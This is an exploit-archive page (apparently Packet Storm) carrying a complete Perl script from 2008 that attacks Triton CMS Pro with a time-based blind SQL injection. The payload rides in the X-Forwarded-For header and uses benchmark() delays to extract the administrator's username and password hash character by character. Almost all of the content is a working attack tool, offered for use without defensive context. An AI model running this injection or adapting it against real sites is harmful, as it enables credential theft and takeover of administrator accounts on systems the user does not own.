exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

tritoncms-sql.txt

tritoncms-sql.txt
Posted Jul 10, 2008
Authored by __GiReX__ | Site girex.altervista.org

Triton CMS Pro remote blind SQL injection exploit that discloses the username and password hash.

tags | exploit, remote, sql injection
SHA-256 | bedded7ab98cad477c122d721b7603ac37e07990ef112d17fbba371523a220cc

tritoncms-sql.txt

Change Mirror Download
#!/usr/bin/perl -w
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
#Admin's username/hash disclosure exploit
#Benchmark() method, so take a coffee and relax
#Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
print "\nUsage: perl $0 [host] [path] [1/2]\n";
print "Example: perl $0 localhost /tcms/\n";
exit;
}

my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
$host .= $ARGV[1] unless not defined $ARGV[1];

my $client = new LWP::UserAgent;
my $get = new HTTP::Request('GET', $host);
my @cset = (97..122, 0); # Only a-z charset for username exploit if need change it
my @cset2 = (48..57, 97..102);
my $prefix = "tc_";

my ($i, $j) = (0, 1);
my ($user, $hash) = (undef, undef);

banner();

while($i != $#cset)
{
for($i = 0; $i <= $#cset; $i++)
{
my ($pre_time, $post_time) = time();

info(chr($cset[$i]), "Username", $user);
$rv = check_char($cset[$i], $j, "username");
$post_time = time();

if($post_time - $pre_time > 3 and $rv)
{
$user .= chr($cset[$i]);
last;
}
}

$j++;
}

if(not defined $user)
{
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark and expected time\n\n";
exit;
}
else
{
print STDOUT "\n[+] Admin Hashed Pass: \r";
}

for($j = 0; $j <= 32; $j++)
{
for($i = 0; $i <= $#cset2; $i++)
{
$pre_time = time();

info(chr($cset2[$i]), "Hashed Pass", $hash);
$rv = check_char($cset2[$i], $j, "password");
$post_time = time();

if($post_time - $pre_time > 3 and $rv)
{
$hash .= chr($cset2[$i]);
last;
}
}
}

if(not defined $hash or length($hash) != 32)
{
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark expected time\n\n";
}
else
{
print STDOUT "\n\n[+] Exploit terminated\n\n";
}


sub banner
{
print "\n";
print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection\n";
print "[+] Admin's username/hash disclosure exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}

sub info
{
my($c, $str, $cur) = @_;

$cur = '' unless defined $cur;
print STDOUT "[+] Admin ${str}: ${cur}${c}\r";

$| = 1;
}

sub check_char
{
my ($char, $n, $field) = @_ ;

$get->header('X-Forwarded-For' => "-1' AND ".
"CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
"FROM ${prefix}members WHERE id=1)=${char} ".
"THEN benchmark(99000000, CHAR(0)) END#");

$res = $client->request($get);

return $res->is_success;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close